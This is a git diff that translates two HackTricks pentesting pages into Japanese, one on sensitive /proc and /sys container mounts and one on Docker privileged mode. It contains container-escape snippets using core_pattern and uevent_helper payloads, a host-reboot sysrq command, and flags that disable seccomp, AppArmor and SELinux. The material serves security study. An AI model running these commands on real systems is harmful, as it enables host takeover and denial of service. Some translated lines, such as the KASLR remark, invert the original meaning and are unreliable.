-(_**This info was taken from**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)) +(_**この情報は**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) **から取得されました**_) -Due to the lack of namespace support, the exposure of `/proc` and `/sys` offers a source of significant attack surface and information disclosure. Numerous files within the `procfs` and `sysfs` offer a risk for container escape, host modification or basic information disclosure which could facilitate other attacks. +ネームスペースのサポートがないため、`/proc`と`/sys`の公開は、重要な攻撃面と情報漏洩の源となります。`procfs`と`sysfs`内の多くのファイルは、コンテナの脱出、ホストの変更、または基本的な情報漏洩のリスクを提供し、他の攻撃を容易にする可能性があります。 -In order to abuse these techniques might be enough just to **miss-configure something like `-v /proc:/host/proc`** as AppArmor does not protect `/host/proc` because **AppArmor is path based** +これらのテクニックを悪用するためには、単に`-v /proc:/host/proc`のように何かを**誤って設定するだけで十分**です。なぜなら、**AppArmorはパスベースであるため、/host/procを保護しない**からです。 # procfs ## /proc/sys -`/proc/sys` typically allows access to modify kernel variables, often controlled through `sysctl(2)`. +`/proc/sys`は通常、`sysctl(2)`を介して制御されるカーネル変数の変更を許可します。 ### /proc/sys/kernel/core\_pattern -[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) defines a program which is executed on core-file generation (typically a program crash) and is passed the core file as standard input if the first character of this file is a pipe symbol `|`. This program is run by the root user and will allow up to 128 bytes of command line arguments. This would allow trivial code execution within the container host given any crash and core file generation (which can be simply discarded during a myriad of malicious actions). - +[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html)は、コアファイルの生成時(通常はプログラムのクラッシュ時)に実行されるプログラムを定義し、このファイルの最初の文字がパイプ記号`|`である場合、コアファイルが標準入力として渡されます。このプログラムはrootユーザーによって実行され、最大128バイトのコマンドライン引数を許可します。これにより、コンテナホスト内での簡単なコード実行が可能になります。これは、クラッシュとコアファイルの生成(悪意のある行動の多くで簡単に破棄できる)があれば、コンテナホスト内でのトリビアルなコード実行が可能になるためです。 ```bash [ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing cd /proc/sys/kernel echo "|$overlay/shell.sh" > core_pattern sleep 5 && ./crash & ``` - ### /proc/sys/kernel/modprobe -[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contains the path to the kernel module loader, which is called when loading a kernel module such as via the [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) command. Code execution can be gained by performing any action which will trigger the kernel to attempt to load a kernel module (such as using the crypto-API to load a currently unloaded crypto-module, or using ifconfig to load a networking module for a device not currently used). - +[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html)は、カーネルモジュールローダーのパスを含んでいます。このパスは、[modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html)コマンドを使用してカーネルモジュールをロードする際に呼び出されます。カーネルがカーネルモジュールのロードを試みるアクション(例えば、現在ロードされていない暗号モジュールをcrypto-APIを使用してロードする、または現在使用されていないデバイスのネットワーキングモジュールをifconfigを使用してロードする)を実行することで、コードの実行が可能になります。 ```bash # Check if you can directly access modprobe ls -l `cat /proc/sys/kernel/modprobe` ``` - ### /proc/sys/vm/panic\_on\_oom -[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) is a global flag that determines whether the kernel will panic when an Out of Memory (OOM) condition is hit (rather than invoking the OOM killer). This is more of a Denial of Service (DoS) attack than container escape, but it no less exposes an ability which should only be available to the host +[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html)は、カーネルがメモリ不足(OOM)の状態に達した場合にパニックするかどうかを決定するグローバルフラグです(OOMキラーを呼び出す代わりに)。これはコンテナの脱出ではなく、よりむしろホストにのみ利用可能であるべき機能を公開するもので、サービス拒否(DoS)攻撃と言えます。 ### /proc/sys/fs -[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) directory contains an array of options and information concerning various aspects of the file system, including quota, file handle, inode, and dentry information. Write access to this directory would allow various denial-of-service attacks against the host. +[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html)ディレクトリには、クォータ、ファイルハンドル、inode、およびdentry情報など、ファイルシステムのさまざまな側面に関するオプションと情報の配列が含まれています。このディレクトリへの書き込みアクセスは、ホストに対してさまざまなサービス拒否攻撃を可能にします。 ### /proc/sys/fs/binfmt\_misc -[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) allows executing miscellaneous binary formats, which typically means various **interpreters can be registered for non-native binary** formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.\ -You can find an exploit in [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc): _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _option to escalate privilege through any suid binary (and to get a root shell) if `/proc/sys/fs/binfmt_misc/register` is writeable._ +[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html)は、さまざまな**インタプリタが非ネイティブバイナリ**形式(Javaなど)に基づいて登録されることが通常のさまざまなバイナリ形式を実行することを許可します。カーネルにバイナリを登録してハンドラとして実行させることができます。\ +[https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc)にエクスプロイトがあります: _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _option to escalate privilege through any suid binary (and to get a root shell) if `/proc/sys/fs/binfmt_misc/register` is writeable._ -For a more in depth explanation of this technique check [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +このテクニックの詳細な説明については、[https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)を参照してください。 ## /proc/config.gz -[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) depending on `CONFIG_IKCONFIG_PROC` settings, this exposes a compressed version of the kernel configuration options for the running kernel. This may allow a compromised or malicious container to easily discover and target vulnerable areas enabled in the kernel. +[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html)は、`CONFIG_IKCONFIG_PROC`の設定に応じて、実行中のカーネルの設定オプションの圧縮バージョンを公開します。これにより、侵害されたまたは悪意のあるコンテナが、カーネルで有効になっている脆弱な領域を簡単に特定して攻撃することができる場合があります。 ## /proc/sysrq-trigger -`Sysrq` is an old mechanism which can be invoked via a special `SysRq` keyboard combination. This can allow an immediate reboot of the system, issue of `sync(2)`, remounting all filesystems as read-only, invoking kernel debuggers, and other operations. - -If the guest is not properly isolated, it can trigger the [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) commands by writing characters to `/proc/sysrq-trigger` file. +`Sysrq`は、特別な`SysRq`キーボードの組み合わせを介して呼び出すことができる古いメカニズムです。これにより、システムの即時再起動、`sync(2)`の発行、すべてのファイルシステムの読み取り専用での再マウント、カーネルデバッガの呼び出し、その他の操作が可能になります。 +ゲストが適切に分離されていない場合、`/proc/sysrq-trigger`ファイルに文字を書き込むことで、[sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html)コマンドをトリガーすることができます。 ```bash # Reboot the host echo b > /proc/sysrq-trigger ``` - ## /proc/kmsg -[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) can expose kernel ring buffer messages typically accessed via `dmesg`. Exposure of this information can aid in kernel exploits, trigger kernel address leaks (which could be used to help defeat the kernel Address Space Layout Randomization (KASLR)), and be a source of general information disclosure about the kernel, hardware, blocked packets and other system details. +[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html)は通常`dmesg`を介してアクセスされるカーネルリングバッファメッセージを公開することができます。この情報の公開は、カーネルのエクスプロイトを支援し、カーネルアドレスの漏洩(カーネルアドレススペース配置ランダム化(KASLR)の防御に役立つ可能性があります)、およびカーネル、ハードウェア、ブロックされたパケット、その他のシステムの詳細に関する一般的な情報開示の源となります。 ## /proc/kallsyms -[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contains a list of kernel exported symbols and their address locations for dynamic and loadable modules. This also includes the location of the kernel's image in physical memory, which is helpful for kernel exploit development. From these locations, the base address or offset of the kernel can be located, which can be used to overcome kernel Address Space Layout Randomization (KASLR). +[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html)には、動的およびロード可能なモジュールのためのカーネルエクスポートされたシンボルとそのアドレスのリストが含まれています。これには、カーネルのイメージの物理メモリ内の位置も含まれており、カーネルエクスプロイトの開発に役立ちます。これらの場所から、カーネルのベースアドレスまたはオフセットを見つけることができ、これを使用してカーネルアドレススペース配置ランダム化(KASLR)を克服することができます。 -For systems with `kptr_restrict` set to `1` or `2`, this file will exist but not provide any address information (although the order in which the symbols are listed is identical to the order in memory). +`kptr_restrict`が`1`または`2`に設定されているシステムでは、このファイルは存在しますが、アドレス情報は提供されません(ただし、シンボルのリストの順序はメモリ内の順序と同じです)。 ## /proc/\[pid]/mem -[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) exposes interfaces to the kernel memory device `/dev/mem`. While the PID Namespace may protect from some attacks via this `procfs` vector, this area of has been historically vulnerable, then thought safe and again found to be [vulnerable](https://git.zx2c4.com/CVE-2012-0056/about/) for privilege escalation. +[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html)は、カーネルメモリデバイス`/dev/mem`へのインターフェースを公開します。PID Namespaceは、この`procfs`ベクターを介した一部の攻撃から保護するかもしれませんが、この領域は歴史的に脆弱であり、安全と考えられていましたが、特権昇格のために再び脆弱性が見つかりました。 ## /proc/kcore -[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) represents the physical memory of the system and is in an ELF core format (typically found in core dump files). It does not allow writing to said memory. The ability to read this file (restricted to privileged users) can leak memory contents from the host system and other containers. +[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html)はシステムの物理メモリを表し、ELFコア形式(通常はコアダンプファイルで見つかります)です。これには、そのメモリへの書き込みは許可されていません。このファイルを読むことができる(特権ユーザーに制限されています)と、ホストシステムおよび他のコンテナからメモリの内容が漏洩する可能性があります。 -The large reported file size represents the maximum amount of physically addressable memory for the architecture, and can cause problems when reading it (or crashes depending on the fragility of the software). +大きな報告されたファイルサイズは、アーキテクチャの物理的にアドレス指定可能なメモリの最大量を表しており、それを読むことで問題が発生することがあります(またはソフトウェアの脆弱性に応じてクラッシュすることがあります)。 -[Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) +[2019年に/proc/kcoreをダンプする](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) ## /proc/kmem -`/proc/kmem` is an alternate interface for [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing kernel virtual memory. It allows both reading and writing, allowing direct modification of kernel memory. +`/proc/kmem`は[/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html)の代替インターフェースです(cgroupデバイスホワイトリストによって直接アクセスがブロックされています)。これはカーネル仮想メモリを表すキャラクタデバイスファイルで、読み書きの両方が可能であり、カーネルメモリを直接変更することができます。 ## /proc/mem -`/proc/mem` is an alternate interface for [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing physical memory of the system. It allows both reading and writing, allowing modification of all memory. (It requires slightly more finesse than `kmem`, as virtual addresses need to be resolved to physical addresses first). +`/proc/mem`は[/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html)の代替インターフェースです(cgroupデバイスホワイトリストによって直接アクセスがブロックされています)。これはシステムの物理メモリを表すキャラクタデバイスファイルで、読み書きの両方が可能であり、すべてのメモリの変更が可能です(ただし、`kmem`よりも少し洗練された操作が必要です。仮想アドレスを物理アドレスに変換する必要があります)。 ## /proc/sched\_debug -`/proc/sched_debug` is a special file returns process scheduling information for the entire system. This information includes process names and process IDs from all namespaces in addition to process cgroup identifiers. This effectively bypasses the PID namespace protections and is other/world readable, so it can be exploited in unprivileged containers as well. +`/proc/sched_debug`は、システム全体のプロセススケジューリング情報を返す特別なファイルです。この情報には、プロセスの名前とプロセスIDだけでなく、プロセスのcgroup識別子も含まれます。これにより、PID名前空間の保護をバイパスすることができ、他のユーザー/ワールドから読み取り可能なので、特権のないコンテナでも悪用される可能性があります。 ## /proc/\[pid]/mountinfo -[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contains information about mount points in the process's mount namespace. It exposes the location of the container `rootfs` or image. +[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html)には、プロセスのマウント名前空間のマウントポイントに関する情報が含まれています。これにより、コンテナの`rootfs`またはイメージの場所が公開されます。 # sysfs ## /sys/kernel/uevent\_helper -`uevents` are events triggered by the kernel when a device is added or removed. Notably, the path for the `uevent_helper` can be modified by writing to `/sys/kernel/uevent_helper`. Then, when a `uevent` is triggered (which can also be done from userland by writing to files such as `/sys/class/mem/null/uevent`), the malicious `uevent_helper` gets executed. - +`uevent`は、デバイスが追加または削除されたときにカーネルによってトリガーされるイベントです。特に、`uevent_helper`のパスは、`/sys/kernel/uevent_helper`に書き込むことで変更できます。その後、`uevent`がトリガーされると(これは`/sys/class/mem/null/uevent`などのファイルに書き込むことによってユーザーランドからも行うことができます)、悪意のある`uevent_helper`が実行されます。 ```bash # Creates a payload cat "#!/bin/sh" > /evil-helper @@ -141,32 +132,31 @@ echo change > /sys/class/mem/null/uevent # Reads the output cat /output ``` - ## /sys/class/thermal -Access to ACPI and various hardware settings for temperature control, typically found in laptops or gaming motherboards. This may allow for DoS attacks against the container host, which may even lead to physical damage. +ACPIおよびさまざまなハードウェア設定にアクセスできます。これは通常、ノートパソコンやゲーミングマザーボードに見られます。これにより、コンテナホストに対するDoS攻撃が可能になり、物理的な損害を引き起こす可能性もあります。 ## /sys/kernel/vmcoreinfo -This file can leak kernel addresses which could be used to defeat KASLR. +このファイルは、KASLRを打破するために使用できるカーネルアドレスを漏洩する可能性があります。 ## /sys/kernel/security -In `/sys/kernel/security` mounted the `securityfs` interface, which allows configuration of Linux Security Modules. This allows configuration of [AppArmor policies](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), and so access to this may allow a container to disable its MAC system. +`/sys/kernel/security`には、Linuxセキュリティモジュールの設定を可能にする`securityfs`インターフェースがマウントされています。これにより、[AppArmorポリシー](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor)の設定が可能になり、コンテナがMACシステムを無効にすることができます。 ## /sys/firmware/efi/vars -`/sys/firmware/efi/vars` exposes interfaces for interacting with EFI variables in NVRAM. While this is not typically relevant for most servers, EFI is becoming more and more popular. Permission weaknesses have even lead to some bricked laptops. +`/sys/firmware/efi/vars`は、NVRAM内のEFI変数とのやり取りのためのインターフェースを公開します。これは通常、ほとんどのサーバーには関係ありませんが、EFIはますます人気が高まっています。許可の弱点により、一部のノートパソコンが壊れることさえあります。 ## /sys/firmware/efi/efivars -`/sys/firmware/efi/efivars` provides an interface to write to the NVRAM used for UEFI boot arguments. Modifying them can render the host machine unbootable. +`/sys/firmware/efi/efivars`は、UEFIブート引数用のNVRAMに書き込むためのインターフェースを提供します。これらを変更すると、ホストマシンが起動不能になる可能性があります。 ## /sys/kernel/debug -`debugfs` provides a "no rules" interface by which the kernel (or kernel modules) can create debugging interfaces accessible to userland. It has had a number of security issues in the past, and the "no rules" guidelines behind the filesystem have often clashed with security constraints. +`debugfs`は、カーネル(またはカーネルモジュール)がユーザーランドからアクセス可能なデバッグインターフェースを作成できる「ルールのない」インターフェースを提供します。過去にいくつかのセキュリティの問題があり、ファイルシステムの「ルールのない」ガイドラインはしばしばセキュリティの制約と衝突してきました。 -# References +# 参考文献 * [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) @@ -176,16 +166,14 @@ In `/sys/kernel/security` mounted the `securityfs` interface, which allows confi ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index 4e84ac445..526498bb2 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -4,33 +4,31 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## What Affects +## 影響 -When you run a container as privileged these are the protections you are disabling: +特権付きコンテナを実行すると、次の保護が無効になります: -### Mount /dev +### /devのマウント -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +特権付きコンテナでは、すべての**デバイスに`/dev/`でアクセスできます**。したがって、ホストのディスクを**マウント**することで**脱出**することができます。 {% tabs %} -{% tab title="Inside default container" %} +{% tab title="デフォルトのコンテナ内部" %} ```bash # docker run --rm -it alpine sh ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero ``` -{% endtab %} - -{% tab title="Inside Privileged Container" %} +{% tab title="特権コンテナ内部" %} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -43,12 +41,12 @@ cpu nbd0 pts stdout tty27 {% endtab %} {% endtabs %} -### Read-only kernel file systems +### 読み取り専用のカーネルファイルシステム -Kernel file systems provide a mechanism for a **process to alter the way the kernel runs.** By default, we **don't want container processes to modify the kernel**, so we mount kernel file systems as read-only within the container. +カーネルファイルシステムは、**プロセスがカーネルの実行方法を変更するメカニズム**を提供します。デフォルトでは、**コンテナプロセスがカーネルを変更することは望ましくありません**ので、コンテナ内でカーネルファイルシステムを読み取り専用でマウントします。 {% tabs %} -{% tab title="Inside default container" %} +{% tab title="デフォルトのコンテナ内部" %} ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -57,9 +55,7 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) ``` -{% endtab %} - -{% tab title="Inside Privileged Container" %} +{% tab title="特権コンテナ内部" %} ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' @@ -67,16 +63,16 @@ mount | grep '(ro' {% endtab %} {% endtabs %} -### Masking over kernel file systems +### カーネルファイルシステムのマスキング -The **/proc** file system is namespace-aware, and certain writes can be allowed, so we don't mount it read-only. However, specific directories in the /proc file system need to be **protected from writing**, and in some instances, **from reading**. In these cases, the container engines mount **tmpfs** file systems over potentially dangerous directories, preventing processes inside of the container from using them. +**/proc**ファイルシステムはネームスペースに対応しており、特定の書き込みが許可されるため、読み取り専用でマウントされません。ただし、/procファイルシステムの特定のディレクトリは、書き込みから**保護される必要があり**、一部の場合は**読み取りからも保護される必要があります**。これらの場合、コンテナエンジンは潜在的に危険なディレクトリに対して**tmpfs**ファイルシステムをマウントし、コンテナ内のプロセスがそれらを使用できないようにします。 {% hint style="info" %} -**tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +**tmpfs**は、すべてのファイルを仮想メモリに格納するファイルシステムです。tmpfsはハードドライブにファイルを作成しません。したがって、tmpfsファイルシステムをアンマウントすると、それに存在するすべてのファイルが永久に失われます。 {% endhint %} {% tabs %} -{% tab title="Inside default container" %} +{% tab title="デフォルトのコンテナ内部" %} ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -84,9 +80,7 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` -{% endtab %} - -{% tab title="Inside Privileged Container" %} +{% tab title="特権コンテナ内部" %} ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs @@ -94,16 +88,16 @@ mount | grep /proc.*tmpfs {% endtab %} {% endtabs %} -### Linux capabilities +### Linuxの機能 -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +コンテナエンジンは、デフォルトではコンテナ内で何が行われるかを制御するために、**制限された数の機能**でコンテナを起動します。**特権**の場合は、**すべての機能**にアクセスできます。機能については、以下を参照してください。 {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) {% endcontent-ref %} {% tabs %} -{% tab title="Inside default container" %} +{% tab title="デフォルトのコンテナ内部" %} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -112,9 +106,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap [...] ``` -{% endtab %} - -{% tab title="Inside Privileged Container" %} +{% tab title="特権コンテナ内部" %} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -126,27 +118,25 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset {% endtab %} {% endtabs %} -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +`--privileged` mode gives all capabilities to the container, but it is not recommended for security reasons. Instead, you can use the `--cap-add` flag to add specific capabilities to the container and the `--cap-drop` flag to remove specific capabilities. ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp**は、コンテナが呼び出すことができる**シスコール**を制限するために役立ちます。Dockerコンテナを実行すると、デフォルトのSeccompプロファイルが有効になりますが、特権モードでは無効になります。Seccompについて詳しくはこちらを参照してください: {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) {% endcontent-ref %} {% tabs %} -{% tab title="Inside default container" %} +{% tab title="デフォルトのコンテナ内部" %} ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status Seccomp: 2 Seccomp_filters: 1 ``` -{% endtab %} - -{% tab title="Inside Privileged Container" %} +{% tab title="特権コンテナ内部" %} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status @@ -155,75 +145,67 @@ Seccomp_filters: 0 ``` {% endtab %} {% endtabs %} - ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` - -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** +また、Docker(または他のCRIs)が**Kubernetes**クラスターで使用される場合、**seccompフィルターはデフォルトで無効**になっていることに注意してください。 ### AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. +**AppArmor**は、**コンテナ**を**制限された**一部の**リソース**と**プログラムごとのプロファイル**に制約するためのカーネルの拡張機能です。`--privileged`フラグを使用して実行すると、この保護は無効になります。 {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) {% endcontent-ref %} - ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -When you run with the `--privileged` flag, **SELinux labels are disabled**, and the container runs with the **label that the container engine was executed with**. This label is usually `unconfined` and has **full access to the labels that the container engine does**. In rootless mode, the container runs with `container_runtime_t`. In root mode, it runs with `spc_t`. +`--privileged`フラグを使用すると、**SELinuxラベルが無効化**され、コンテナは**コンテナエンジンが実行されたときのラベルで実行**されます。このラベルは通常`unconfined`であり、コンテナエンジンが持つラベルに**完全なアクセス権限**を持ちます。ルートレスモードでは、コンテナは`container_runtime_t`で実行されます。ルートモードでは、`spc_t`で実行されます。 {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) {% endcontent-ref %} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## 影響を受けないもの -## What Doesn't Affect +### ネームスペース -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. 